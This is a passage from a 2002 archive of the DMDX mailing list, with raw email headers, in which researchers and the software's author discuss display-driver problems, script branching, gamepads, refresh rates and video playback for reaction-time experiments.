Thanks, Derek >Problem: DMDX runs in ""white screen mode"", command line display not >visible. ""-display 1"" argument has no effect. > >* DMDX 3.0.0.01 >* single monitor / graphics card >* (only) one video driver detected >* Windows 98 >* simple DMDX script: plays some .wav files, no subject interaction, no >subject display. You'll have to figure out what display adapter is in the machine and find some new display drivers for it. Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap Klinisk Neurofysiologi Sahlgrenska universitetssjukhuset SS/SU Bl� straket 7, v�n 3 SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 244 14 (office) NYT! Tlf. +46 (031) 34 212 83 (laboratory) Tlf. +46 0709 / 7 212 83 (mobil) Fax. +46 (031) 82 81 63 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Department of Clinical Neurophysiology Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 30 08:38:59 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8UFcuMS011082 for ; Mon, 30 Sep 2002 08:38:57 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3D9848E5000047AA for DMDX@psy1.psych.arizona.edu; Mon, 30 Sep 2002 08:37:01 -0700 Message-Id: <5.1.0.14.2.20020930083345.00b12840@psy1.psych.arizona.edu> Date: Mon, 30 Sep 2002 08:36:59 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX 3.0.0.01 command display whiteout In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1""; format=flowed Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Then try another video card. Your wording is odd, one would not normally be able to see DMDX's command display while it is running, one would normally only see the subject's display unless you had two display devices. If you do have two display devices be advised that not all video card combinations are going to work, a number of drivers refuse to work with other drivers. The DMDX updates page has some information of multiple monitor setups and a link to a database of card combinations that work. At 01:53 PM 9/30/2002 +0200, you wrote: >This is probably more of a warning than (another) cry for help, >but, I still cannot get my old DEC Venturis 575 PC with its S3 TRIO 32/64 >PCI video card to display the command display (or anything else) while >DMDX is running an item file. The driver is the latest that Windows >98/Microsoft recognizes and the beast is running with DirectX 8.1 > >Thanks, > >Derek > > > > > > >Problem: DMDX runs in ""white screen mode"", command line display not > >visible. ""-display 1"" argument has no effect. > > > >* DMDX 3.0.0.01 > >* single monitor / graphics card > >* (only) one video driver detected > >* Windows 98 > >* simple DMDX script: plays some .wav files, no subject interaction, no > >subject display. > > You'll have to figure out what display adapter is in the machine and >find some new display drivers for it. > > >Derek N. Eder >G�teborgs Universitet >Institutionen f�r klinisk neurovetenskap >Klinisk Neurofysiologi >Sahlgrenska universitetssjukhuset SS/SU >Bl� straket 7, v�n 3 >SE 413 45 G�teborg >Sverige >Tlf. +46 (031) 34 244 14 (office) NYT! >Tlf. +46 (031) 34 212 83 (laboratory) >Tlf. +46 0709 / 7 212 83 (mobil) >Fax. +46 (031) 82 81 63 >derek.eder@neuro.gu.se > > >Gothenburg University >Institute of Clinical Neuroscience, >Department of Clinical Neurophysiology >Salhgrenska Hospital SU/SS >SE 413 45 G�teborg >Sweden > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 30 08:45:20 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8UFZ0MS011054 for ; Mon, 30 Sep 2002 08:35:00 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3D9848E50000455C for DMDX@psy1.psych.arizona.edu; Mon, 30 Sep 2002 08:33:05 -0700 Message-Id: <5.1.0.14.2.20020930082950.00b12840@psy1.psych.arizona.edu> Date: Mon, 30 Sep 2002 08:33:03 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Double decisions In-Reply-To: <001001c26841$91cd29a0$13669a89@a8o2y7> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:23 PM 9/30/2002 +1000, you wrote: >Hi I'm trying to write a program which require one of two responses. >When a response is made to a question (is this right?) the answer is >either yes or no. If ""no"" there is no further action required. However if >the response is yes, then a further response has to be made between A and B. > >I have not worked with this decision chain before I would be grateful if >some one could direct me please >arend I'm not aware of a tutorial on how you would use branching, I just provide the details and rely on people's knowledge of branching to see them through: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchkeyword.htm You could look at the demo I guess, it's got some branching in it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 30 09:10:57 2002 Received: from izar.unm.edu (izar.unm.edu [129.24.9.34]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with SMTP id g8UG1bMS011237 for ; Mon, 30 Sep 2002 09:01:37 -0700 Received: (qmail 27054 invoked by uid 0); 30 Sep 2002 09:59:42 -0600 Received: from davee@unm.edu by mail.unm.edu with qmail-scanner-0.96 (. Clean. Processed in 0.160721 secs); 30 Sep 2002 15:59:42 -0000 Received: from dhcp-168-0155.unm.edu (HELO dell-dimension-.unm.edu) (129.24.174.16) by izar.unm.edu with SMTP; 30 Sep 2002 09:59:41 -0600 Message-Id: <5.1.0.14.1.20020930095832.025f35d0@mail.unm.edu> Date: Mon, 30 Sep 2002 09:59:32 -0600 To: DMDX@psy1.psych.arizona.edu From: david eddington Subject: [DMDX] Re: DMDX 3.0.0.01 command display whiteout In-Reply-To: <5.1.0.14.2.20020930083345.00b12840@psy1.psych.arizona.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1""; format=flowed Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list What video cards have been tried and tested and work flawlessly with DMDX? I'm considering replacing mine. At 08:36 AM 9/30/2002 -0700, you wrote: > Then try another video card. Your wording is odd, one would not > normally be able to see DMDX's command display while it is running, one > would normally only see the subject's display unless you had two display > devices. If you do have two display devices be advised that not all > video card combinations are going to work, a number of drivers refuse to > work with other drivers. The DMDX updates page has some information of > multiple monitor setups and a link to a database of card combinations > that work. > >At 01:53 PM 9/30/2002 +0200, you wrote: >>This is probably more of a warning than (another) cry for help, >>but, I still cannot get my old DEC Venturis 575 PC with its S3 TRIO 32/64 >>PCI video card to display the command display (or anything else) while >>DMDX is running an item file. The driver is the latest that Windows >>98/Microsoft recognizes and the beast is running with DirectX 8.1 >> >>Thanks, >> >>Derek >> >> >> >> >> >> >Problem: DMDX runs in ""white screen mode"", command line display not >> >visible. ""-display 1"" argument has no effect. >> > >> >* DMDX 3.0.0.01 >> >* single monitor / graphics card >> >* (only) one video driver detected >> >* Windows 98 >> >* simple DMDX script: plays some .wav files, no subject interaction, no >> >subject display. >> >> You'll have to figure out what display adapter is in the machine and >>find some new display drivers for it. >> >> >>Derek N. Eder >>G�teborgs Universitet >>Institutionen f�r klinisk neurovetenskap >>Klinisk Neurofysiologi >>Sahlgrenska universitetssjukhuset SS/SU >>Bl� straket 7, v�n 3 >>SE 413 45 G�teborg >>Sverige >>Tlf. +46 (031) 34 244 14 (office) NYT! >>Tlf. +46 (031) 34 212 83 (laboratory) >>Tlf. +46 0709 / 7 212 83 (mobil) >>Fax. +46 (031) 82 81 63 >>derek.eder@neuro.gu.se >> >> >>Gothenburg University >>Institute of Clinical Neuroscience, >>Department of Clinical Neurophysiology >>Salhgrenska Hospital SU/SS >>SE 413 45 G�teborg >>Sweden >> >> >> >>==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Economics is extremely useful as a form of employment for >economists. > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== =================== David Eddington Ortega Hall 235 University of New Mexico Albuquerque, NM 87131 Phone: (505) 277-5516 Fax: (505) 277-3885 =================== >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 30 10:14:27 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8UHEDMS011460 for ; Mon, 30 Sep 2002 10:14:13 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D98476A0000907F for DMDX@psy1.psych.arizona.edu; Mon, 30 Sep 2002 10:12:17 -0700 Message-Id: <5.1.0.14.2.20020930100703.00b130d8@psy1.psych.arizona.edu> Date: Mon, 30 Sep 2002 10:12:17 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: DMDX 3.0.0.01 command display whiteout In-Reply-To: <5.1.0.14.1.20020930095832.025f35d0@mail.unm.edu> References: <5.1.0.14.2.20020930083345.00b12840@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:59 AM 9/30/2002 -0600, you wrote: >What video cards have been tried and tested and work flawlessly with >DMDX? I'm considering replacing mine. Check the Updates page: http://www.u.arizona.edu/~jforster/dmdx.htm I went back to the archives to read your info more carefully and from that I gather that you mean DMDX never even displays the initial dialog whereas TimeDX does? You can't ever tell it to run an item file? If that's the case DMDX may be having issues with some other aspect of the machine and is hanging when it tries to run. Sky's the limit there, never even heard of similar behavior let alone experienced it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 4 09:46:00 2002 Received: from mailhost.univ-lyon2.fr (louis.univ-lyon2.fr [159.84.44.32]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g94Gj6MS021148 for ; Fri, 4 Oct 2002 09:45:07 -0700 Received: from etoile.univ-lyon2.fr (etoile [159.84.44.174]) by mailhost.univ-lyon2.fr (8.9.1a/jtpda-5.3.1) with ESMTP id SAA07637 for ; Fri, 4 Oct 2002 18:42:58 +0200 (MET DST) Date: Fri, 4 Oct 2002 18:42:58 +0200 From: Leonid SYNYUKOV To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] From Caroline petit Message-ID: <3D9275BC@etoile.univ-lyon2.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hie everybody! I would like to suscribe to your list. My name is Caroline Petit. There is something else I'd like to know: this is the kind of joysticks I have to buy because I realised that the last ones called ""wingman logitech game pad ..."" are no more sold. I need to have the precise type of the new feeback joysticks . Please send me all the necessary references to buy them.If anybody has aby idea about these new references, tell me. Thanks for your precious help. Caroline Petit. P.S: since I haven't any mailbox yet, it is the name of one of my friend, Leonid, which will appear on the message and on the e-mail adress. Bye. Caroline. >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 4 10:17:47 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g94H87MS021264 for ; Fri, 4 Oct 2002 10:08:07 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D9D8D8E00008AA3 for DMDX@psy1.psych.arizona.edu; Fri, 4 Oct 2002 10:05:59 -0700 Message-Id: <5.1.0.14.2.20021004100550.00b130d0@psy1.psych.arizona.edu> Date: Fri, 04 Oct 2002 10:05:59 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: From Caroline petit In-Reply-To: <3D9275BC@etoile.univ-lyon2.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:42 PM 10/4/2002 +0200, you wrote: >Hie everybody! >I would like to suscribe to your list. My name is Caroline Petit. There is >something else I'd like to know: this is the kind of joysticks I have to buy >because I realised that the last ones called ""wingman logitech game pad ..."" >are no more sold. I need to have the precise type of the new feeback joysticks >. Please send me all the necessary references to buy them.If anybody has aby >idea about these new references, tell me. Thanks for your precious help. >Caroline Petit. >P.S: since I haven't any mailbox yet, it is the name of one of my friend, >Leonid, which will appear on the message and on the e-mail adress. Bye. >Caroline. Any gamepad will work. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 4 14:25:31 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g94LPEMS021816 for ; Fri, 4 Oct 2002 14:25:14 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D9D8D8E00013CA4 for DMDX@psy1.psych.arizona.edu; Fri, 4 Oct 2002 14:23:05 -0700 Message-Id: <5.1.0.14.2.20021004134846.00b130d0@psy1.psych.arizona.edu> Date: Fri, 04 Oct 2002 14:23:05 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 3.0.0.04 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list As part of the version 3 upgrade of DMDX it now has an installer. This of course increases the size of the archive by a factor of 6, but hey, that's MS for ya. By default it will install to \\ Program Files \\ DMDX and add a number of shortcuts to the start menu under Programs \\ DMDX. To update future versions the older version will need to be uninstalled, I didn't see any kind of intelligent behavior when I updated DMDX's version number. For the 6X larger download we get an entry in Add Remove Programs and the registry will be purged of any DMDX keys -- I guess people using multiple versions of DMDX will have to extract the executables and not use the installer (which might be entertaining, I don't offhand know of anything that opens .MSI files). DMDX has been changed to facilitate the short comings in the MS installer, specifically it will always use the directory that has DMDX.EXE in it for it's temporary files, diagnostics.txt, rtfparsed.txt and so forth (although there would appear to be some circumstances that will leave them in the directory that the item file is in). Users of GeForce video cards will want to use the special shortcut in Programs / DMDX and not the shortcut placed on the desktop. Next up kiss goodbye to .HLP files and say hello to .CHMs (compiled HTML). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 4 15:23:20 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g94MB6MS021964 for ; Fri, 4 Oct 2002 15:11:06 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D9D8D8E00015A3C for DMDX@psy1.psych.arizona.edu; Fri, 4 Oct 2002 15:08:57 -0700 Message-Id: <5.1.0.14.2.20021004150803.00b130d0@psy1.psych.arizona.edu> Date: Fri, 04 Oct 2002 15:08:57 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] branching help In-Reply-To: <5.1.0.14.2.20021004134846.00b130d0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list And I stuck some branching help into the Branch Keyword help for whoever it was that was needing some of it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Sun Oct 6 20:50:20 2002 Received: from post.psych.unimelb.edu.au (post.psych.unimelb.edu.au [128.250.173.213]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g973dIMS027313 for ; Sun, 6 Oct 2002 20:39:19 -0700 Received: from pc173-72.psych.unimelb.edu.au (pc173-72.psych.unimelb.edu.au [128.250.173.72]) by post.psych.unimelb.edu.au (8.9.3/8.9.3) with ESMTP id NAA11226 for ; Mon, 7 Oct 2002 13:37:01 +1000 Message-Id: <5.0.0.25.2.20021007132400.01f35e20@post.psych.unimelb.edu.au> Date: Mon, 07 Oct 2002 13:37:08 +1000 To: DMDX@psy1.psych.arizona.edu From: Chris Davis Subject: [DMDX] Cannot increase refresh rate In-Reply-To: <5.1.0.14.2.20021004150803.00b130d0@psy1.psych.arizona.edu> References: <5.1.0.14.2.20021004134846.00b130d0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, does anyone know why the best refresh rate with TimeDX we can get from our new lab computer (specs below) is only 75Hz? (increasing the refresh rate in TimeDx causes a crash). The OS is win2000 and we have updated the graphics drivers. Micro-pro Pentium Iv 400mhz Bus Intel 850 Chipset Ide Series Processor: UPGRADE TO 2.4Ghz Processor Cache: 256k Integrated L2 cache Memory: UPGRADE from 256Mb RDRAM to 512Mb Hard Disk Drive: UPGRADE to 80GB 7200rpm Floppy Disk: 1.44Mb 3.5 Inch Floppy Disk Drive CD-ROM Drive: REPLACE with CDRW/DVD (32x12x 10x8) Sound Card: Creative Ensonic 32 PCI Bit Sound Card Speakers: Amplified Speakers Graphics Card: 32Mb Power Colour M64 TNT2 AGP 3D Graphics Card Monitor: SONY 19\\"" FLAT SCREEN TRINITRON Case: UPGRADE to FULL TOWER CASE Expansion Ports: 1 Fast Serial and 1 Parallel with 4 USB ports Keyboard: Keytronics 104key AT Extended Style Keyboard Mouse: Microsoft Mouse Operating System: UPGRADE TO WINDOWS 2000 Network Card: UPGRADE to 3COM ETHERLINK III XL Combo Thanks >From DMDX-owner@psy1.psych.arizona.edu Sun Oct 6 22:25:49 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g975PAMS027575 for ; Sun, 6 Oct 2002 22:25:11 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3D9EDEF500024E9D for DMDX@psy1.psych.arizona.edu; Sun, 6 Oct 2002 22:22:55 -0700 Message-Id: <5.1.0.14.2.20021006220408.00b12858@psy1.psych.arizona.edu> Date: Sun, 06 Oct 2002 22:22:54 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Cannot increase refresh rate In-Reply-To: <5.0.0.25.2.20021007132400.01f35e20@post.psych.unimelb.edu. au> References: <5.1.0.14.2.20021004150803.00b130d0@psy1.psych.arizona.edu> <5.1.0.14.2.20021004134846.00b130d0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:37 PM 10/7/2002 +1000, you wrote: >Hi, > >does anyone know why the best refresh rate with TimeDX we can get from our >new lab computer (specs below) is only 75Hz? (increasing the refresh rate >in TimeDx causes a crash). I take it you're using an ancient version of DMDX? It shouldn't be possible to access the refresh rate increasing code under 2k or XP with any recent version. The latest version of TimeDX when running under 2k or XP will also actually enumerate all possible refresh rates so trial end error is at least eliminated. >The OS is win2000 and we have updated the graphics drivers. > >Micro-pro Pentium Iv 400mhz Bus Intel 850 Chipset Ide Series >Processor: UPGRADE TO 2.4Ghz Processor >Cache: 256k Integrated L2 cache >Memory: UPGRADE from 256Mb RDRAM to 512Mb >Hard Disk Drive: UPGRADE to 80GB 7200rpm >Floppy Disk: 1.44Mb 3.5 Inch Floppy Disk Drive >CD-ROM Drive: REPLACE with CDRW/DVD (32x12x 10x8) >Sound Card: Creative Ensonic 32 PCI Bit Sound Card >Speakers: Amplified Speakers >Graphics Card: 32Mb Power Colour M64 TNT2 AGP 3D Graphics Card >Monitor: SONY 19\\"" FLAT SCREEN TRINITRON >Case: UPGRADE to FULL TOWER CASE >Expansion Ports: 1 Fast Serial and 1 Parallel with 4 USB ports >Keyboard: Keytronics 104key AT Extended Style Keyboard >Mouse: Microsoft Mouse >Operating System: UPGRADE TO WINDOWS 2000 >Network Card: UPGRADE to 3COM ETHERLINK III XL Combo Multiple options there. If you don't want to start swapping out hardware it's possible that your refresh rates might get unlocked by one of the refresh rate unlocking programs around the place like RefreshLock, but the fact that you've got 75Hz already doesn't make me think that's a likely explanation: http://www.pagehosting.co.uk/rl/ Although reading the front page of RefreshLock it would indicate that 75Hz has somehow become a possible default refresh rate so my guess is that RefreshLock is as far as you'll have to go. Otherwise it's possible that the lower video modes will operate at a higher refresh rate as things stand, the TNT2 is a little aged but should be capable of handling refresh rates well over 75Hz for things like 640x480x16. If not it's likely that the monitor is the limiting factor, mine will operate at 150Hz if not 200Hz (not that I think the TNT2 will allow 200Hz). So if you've got another monitor try it, if rates are still limited try a later video card. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Sun Oct 6 22:34:52 2002 Received: from hkugrad.hku.hk (hkugrad.hku.hk [147.8.2.87]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g975YSMS027633 for ; Sun, 6 Oct 2002 22:34:29 -0700 Received: from webmailb.hku.hk (webmaila-ge.hku.hk [147.8.145.200]) by hkugrad.hku.hk (8.11.4/8.11.4) with ESMTP id g975W8b173669 for ; Mon, 7 Oct 2002 13:32:08 +0800 (HKT) Date: Mon, 7 Oct 2002 13:32:08 +0800 From: Ice Tsui To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Implementation of animation with DMDX Message-ID: <3DDA42C1@webmailb.hku.hk> Mime-Version: 1.0 Content-Type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello everyone, Here is a new user of DMDX. I am now trying to measure real-time response (reaction time) to animation, but I find it really hard to achieve. I wonder if this can be done by incorporating flash file in DMDX. Is there anyone who has tried doing similar things and is kind enough to teach me to do so? Thanks very much for your kind attention. Best, Ice ______________________________________________________________________ Tsui Sum Yin Ice Mobile: 93221306 Email: icetsui@graduate.hku.hk ______________________________________________________________________ >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 7 09:07:39 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g97G78MS028799 for ; Mon, 7 Oct 2002 09:07:08 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3DA18223000058EC for DMDX@psy1.psych.arizona.edu; Mon, 7 Oct 2002 09:04:51 -0700 Message-Id: <5.1.0.14.2.20021007085341.00b12858@psy1.psych.arizona.edu> Date: Mon, 07 Oct 2002 09:04:42 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Implementation of animation with DMDX In-Reply-To: <3DDA42C1@webmailb.hku.hk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:32 PM 10/7/2002 +0800, you wrote: >Hello everyone, > >Here is a new user of DMDX. I am now trying to measure real-time >response (reaction time) to animation, but I find it really hard to >achieve. I >wonder if this can be done by incorporating flash file in DMDX. Is there >anyone who has tried doing similar things and is kind enough to teach >me to do so? Thanks very much for your kind attention. No, you can't use Flash files, nor is it likely that will you ever be able to. Assuming you animation sequences are complicated enough to not lend themselves to DMDX's scripting your only choice is to use the Digital Video capabilities, playing .MPGs or .AVIs or whatever else your machine has codecs installed for. There's a the chapter in the help and digital video demo (on the updates page). If you can find some way to get Flash animations rendered to a file then you can use Flash. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 8 16:31:08 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g98NUNMS032404 for ; Tue, 8 Oct 2002 16:30:24 -0700 Received: from a8o2y7 ([137.154.102.51]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.3) with SMTP id g98NRw508178 for ; Wed, 9 Oct 2002 09:27:59 +1000 (EST) Message-ID: <004901c26f21$23525f40$33669a89@a8o2y7> From: ""Arch Tibben"" To: Subject: [DMDX] sequential branching Date: Wed, 9 Oct 2002 09:19:21 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0046_01C26F74.F3B7E580"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0046_01C26F74.F3B7E580 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I wonder if there might be someone who has had experience with = sequential/contingent branching I am looking to initially get a right/ wrong response (as in L/Rshift = keys) Depending on that response I need to make another decision to be = recorded. using the 1 and 9 keys I can get the zillion key codes etc to work (first order) OK , however = to make a contingent response from the initial one, I am having some = trouble with=20 After the 1or 9 response I want to get back to the main program = repeating the (L/R) and contingent sequence Do I need to run a branching subroutine to accomplish this?? I love this stuff....... despite its many challenges arch=20 ------=_NextPart_000_0046_01C26F74.F3B7E580 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I wonder if there might be someone who = has had=20 experience with sequential/contingent branching I am looking to initially get a right/ = wrong=20 response (as in L/Rshift keys) Depending on that response I need to make = another=20 decision to be recorded. using the 1 and 9 keys I can get the zillion key codes = etc to work=20 (first order) OK , however to make a contingent response  = from=20 the initial one, I am having some trouble with  After the 1or 9 response I want to get = back to the=20 main program repeating the  (L/R)  and contingent=20 sequence Do I need to run a branching = subroutine  to=20 accomplish this??     I love this stuff....... despite its = many=20 challenges     arch  ------=_NextPart_000_0046_01C26F74.F3B7E580-- >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 8 18:49:47 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g991nKMS000339 for ; Tue, 8 Oct 2002 18:49:20 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3DA2D3B70001FF15 for DMDX@psy1.psych.arizona.edu; Tue, 8 Oct 2002 18:46:59 -0700 Message-Id: <5.1.0.14.2.20021008183912.00b12828@psy1.psych.arizona.edu> Date: Tue, 08 Oct 2002 18:46:53 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: sequential branching In-Reply-To: <004901c26f21$23525f40$33669a89@a8o2y7> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:19 AM 10/9/2002 +1000, you wrote: >I wonder if there might be someone who has had experience with >sequential/contingent branching >I am looking to initially get a right/ wrong response (as in L/Rshift >keys) Depending on that response I need to make another decision to be >recorded. using the 1 and 9 keys I take it you mean that both the 1 and the 9 key will be pressed? >I can get the zillion key codes etc to work (first order) OK , however to >make a contingent response from the initial one, I am having some trouble >with As long as the shift keys are bound to the correct and incorrect responses (with the map keywords and ) will scan through keys pressed and decide the correctness of a response based on the last valid key pressed. Then you can ise or and so forth. You'll probably also want to validate all the keys with . You can map and unmap keys through the item file which is usually what I wind up doing around here to solve similar paradigms, so for the first item all keys are unmapped (from the previous item) and then the shift keys are mapped and then for the second item all keys get unmapped again and then 1 and 9 get mapped. >After the 1or 